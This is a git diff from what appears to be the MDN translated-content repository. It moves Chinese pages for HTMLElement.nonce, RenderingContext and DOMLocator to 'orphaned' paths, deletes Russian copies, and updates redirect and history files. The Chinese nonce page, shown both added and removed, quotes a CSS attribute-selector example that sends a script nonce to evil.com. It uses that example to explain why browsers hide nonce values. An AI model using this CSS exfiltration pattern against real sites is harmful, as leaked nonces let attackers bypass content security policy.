+ + diff --git a/files/ru/web/api/htmlorforeignelement/nonce/index.html b/files/ru/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index cc7dab7e12..0000000000 --- a/files/ru/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

Свойство nonce интерфейса {{domxref("HTMLElement")}} возвращает криптографический номер, который используется политикой безопасности содержимого для определения того, будет ли разрешена дальнейшая работа с данной выборкой.

- -

В более поздних реализациях элементы, имеющие атрибут nonce, предоставляют его только скриптам (а не сторонним каналам, таким как селекторы атрибутов CSS).

- -

Syntax

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

Value

- -

Криптографический код.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}Первоначальное определение.
- -

Browser Compatibility

- -
-

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/ru/web/api/renderingcontext/index.html b/files/ru/web/api/renderingcontext/index.html deleted file mode 100644 index 041ac640a7..0000000000 --- a/files/ru/web/api/renderingcontext/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: RenderingContext -slug: Web/API/RenderingContext -translation_of: Web/API/RenderingContext ---- -

{{APIRef("Canvas API")}}

- -

RenderingContext - это WebIDL typedef который ссылается на один из интерфейсов, представляющие собой графический контекст внутри элемента <canvas>: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, а так же {{domxref("WebGL2RenderingContext")}}

- -

Используя RenderingContext, методы и поля которого могут использоваться любыми из этих интерфейсов могут быть перезаписаны в более простой форме; с тех пор, как <canvas> поддерживает несколько систем прорисовки контекста, это полезная форма спецификации, в буквальном смысле обозначающая "один из интерфейсов"

- -

В любом случае, RenderingContext - просто общее название и оно не является тем, что в основном используют веб-разработчики. Не существует интерфейса RenderingContext как такого и нет классов, наследуемых от него.

- -

Для получения RenderingContext из веб-элемента <canvas> используется метод {{domxref("HTMLCanvasElement.getContext()")}}, возвращающий "один из интерфейсов"

- -

Спецификации

- - - - - - - - - - - - - - -
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Внутреннее объявление.
- -

Связанное с этим

- - diff --git a/files/zh-cn/_redirects.txt b/files/zh-cn/_redirects.txt index 4885ad6922..c778b9b554 100644 --- a/files/zh-cn/_redirects.txt +++ b/files/zh-cn/_redirects.txt @@ -1488,6 +1488,7 @@ /zh-CN/docs/Web/API/Coordinates/latitude /zh-CN/docs/Web/API/GeolocationCoordinates/latitude /zh-CN/docs/Web/API/DOMImplementation.createHTMLDocument /zh-CN/docs/Web/API/DOMImplementation/createHTMLDocument /zh-CN/docs/Web/API/DOMImplementation.hasFeature /zh-CN/docs/Web/API/DOMImplementation/hasFeature +/zh-CN/docs/Web/API/DOMLocator /zh-CN/docs/orphaned/Web/API/DOMLocator /zh-CN/docs/Web/API/Detecting_device_orientation /zh-CN/docs/orphaned/Web/API/Detecting_device_orientation /zh-CN/docs/Web/API/DeviceAcceleration /zh-CN/docs/Web/API/DeviceMotionEventAcceleration /zh-CN/docs/Web/API/DeviceLightEvent /zh-CN/docs/orphaned/Web/API/DeviceLightEvent @@ -1638,7 +1639,7 @@ /zh-CN/docs/Web/API/HTMLElement/dataset /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/dataset /zh-CN/docs/Web/API/HTMLElement/focus /zh-CN/docs/Web/API/HTMLOrForeignElement/focus /zh-CN/docs/Web/API/HTMLElement/forceSpellCheck /zh-CN/docs/orphaned/Web/API/HTMLElement/forceSpellCheck -/zh-CN/docs/Web/API/HTMLElement/nonce /zh-CN/docs/Web/API/HTMLOrForeignElement/nonce +/zh-CN/docs/Web/API/HTMLElement/nonce /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /zh-CN/docs/Web/API/HTMLElement/style /zh-CN/docs/orphaned/Web/API/ElementCSSInlineStyle/style /zh-CN/docs/Web/API/HTMLElement/tabIndex /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLFormElement.elements /zh-CN/docs/Web/API/HTMLFormElement/elements @@ -1656,6 +1657,7 @@ /zh-CN/docs/Web/API/HTMLInputElement.mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/Web/API/HTMLOrForeignElement/dataset /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/dataset +/zh-CN/docs/Web/API/HTMLOrForeignElement/nonce /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/nonce /zh-CN/docs/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/orphaned/Web/API/HTMLOrForeignElement/tabIndex /zh-CN/docs/Web/API/HTMLTableElement.deleteTHead /zh-CN/docs/Web/API/HTMLTableElement/deleteTHead /zh-CN/docs/Web/API/IDBCursor.direction /zh-CN/docs/Web/API/IDBCursor/direction @@ -1774,6 +1776,7 @@ /zh-CN/docs/Web/API/RTCPeerConnection/getDefaultIceServers /zh-CN/docs/orphaned/Web/API/RTCPeerConnection/getDefaultIceServers /zh-CN/docs/Web/API/RandomSource /zh-CN/docs/conflicting/Web/API/Crypto/getRandomValues /zh-CN/docs/Web/API/RandomSource/getRandomValues /zh-CN/docs/Web/API/Crypto/getRandomValues +/zh-CN/docs/Web/API/RenderingContext /zh-CN/docs/orphaned/Web/API/RenderingContext /zh-CN/docs/Web/API/Request/context /zh-CN/docs/orphaned/Web/API/Request/context /zh-CN/docs/Web/API/Response/克隆 /zh-CN/docs/Web/API/Response/clone /zh-CN/docs/Web/API/SVGPathElement/getTotalLength /zh-CN/docs/Web/API/SVGGeometryElement/getTotalLength diff --git a/files/zh-cn/_wikihistory.json b/files/zh-cn/_wikihistory.json index 1dc9b64d00..31bcc5648d 100644 --- a/files/zh-cn/_wikihistory.json +++ b/files/zh-cn/_wikihistory.json @@ -10205,12 +10205,6 @@ "ziyunfei" ] }, - "Web/API/DOMLocator": { - "modified": "2019-03-23T22:08:16.598Z", - "contributors": [ - "ResJay" - ] - }, "Web/API/DOMMatrix": { "modified": "2019-03-23T22:20:29.136Z", "contributors": [ @@ -15700,13 +15694,6 @@ "ziyunfei" ] }, - "Web/API/HTMLOrForeignElement/nonce": { - "modified": "2020-12-05T03:41:17.381Z", - "contributors": [ - "hufeicom", - "chenqingyue" - ] - }, "Web/API/HTMLParagraphElement": { "modified": "2020-11-03T10:28:13.003Z", "contributors": [ @@ -19602,12 +19589,6 @@ "zhiyuanzmj" ] }, - "Web/API/RenderingContext": { - "modified": "2019-03-23T22:53:04.731Z", - "contributors": [ - "ice-i-snow" - ] - }, "Web/API/Request": { "modified": "2020-10-15T21:43:47.794Z", "contributors": [ @@ -49799,6 +49780,12 @@ "VictorDu" ] }, + "orphaned/Web/API/DOMLocator": { + "modified": "2019-03-23T22:08:16.598Z", + "contributors": [ + "ResJay" + ] + }, "orphaned/Web/API/Detecting_device_orientation": { "modified": "2020-10-15T21:21:28.912Z", "contributors": [ @@ -49911,6 +49898,13 @@ "ReyCG" ] }, + "orphaned/Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-12-05T03:41:17.381Z", + "contributors": [ + "hufeicom", + "chenqingyue" + ] + }, "orphaned/Web/API/HTMLOrForeignElement/tabIndex": { "modified": "2019-03-24T00:16:26.046Z", "contributors": [ @@ -50086,6 +50080,12 @@ "lauhua" ] }, + "orphaned/Web/API/RenderingContext": { + "modified": "2019-03-23T22:53:04.731Z", + "contributors": [ + "ice-i-snow" + ] + }, "orphaned/Web/API/Request/context": { "modified": "2020-10-15T22:30:43.048Z", "contributors": [ diff --git a/files/zh-cn/orphaned/web/api/domlocator/index.html b/files/zh-cn/orphaned/web/api/domlocator/index.html new file mode 100644 index 0000000000..36266f2b67 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/domlocator/index.html @@ -0,0 +1,51 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: This is not implemented in Mozilla

+
+ +

Indicates a location such as where an error occurred. Returned by DOMError.location.

+ +

Properties

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
+ +

Methods

+ +

This interface neither implements, nor inherits, any method.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..9b3c39fbd4 --- /dev/null +++ b/files/zh-cn/orphaned/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,59 @@ +--- +title: HTMLElement.nonce +slug: orphaned/Web/API/HTMLOrForeignElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/orphaned/web/api/renderingcontext/index.html b/files/zh-cn/orphaned/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..9133b5fd7f --- /dev/null +++ b/files/zh-cn/orphaned/web/api/renderingcontext/index.html @@ -0,0 +1,30 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

+ +

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

 

diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html deleted file mode 100644 index a92dedd3ab..0000000000 --- a/files/zh-cn/web/api/domlocator/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: DOMLocator -slug: Web/API/DOMLocator -translation_of: Web/API/DOMLocator ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -
-

NOTE: This is not implemented in Mozilla

-
- -

Indicates a location such as where an error occurred. Returned by DOMError.location.

- -

Properties

- -
-
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
-
Returns a positiove integer or -1.
-
- -

Methods

- -

This interface neither implements, nor inherits, any method.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index 39181c40d7..0000000000 --- a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce -original_slug: Web/API/HTMLElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
-

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html deleted file mode 100644 index 00b7a39db8..0000000000 --- a/files/zh-cn/web/api/renderingcontext/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: RenderingContext -slug: Web/API/RenderingContext -translation_of: Web/API/RenderingContext ---- -

{{APIRef("Canvas API")}}

- -

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

- -

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

- -

规范描述

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

 

-- cgit v1.2.3-54-g00ecf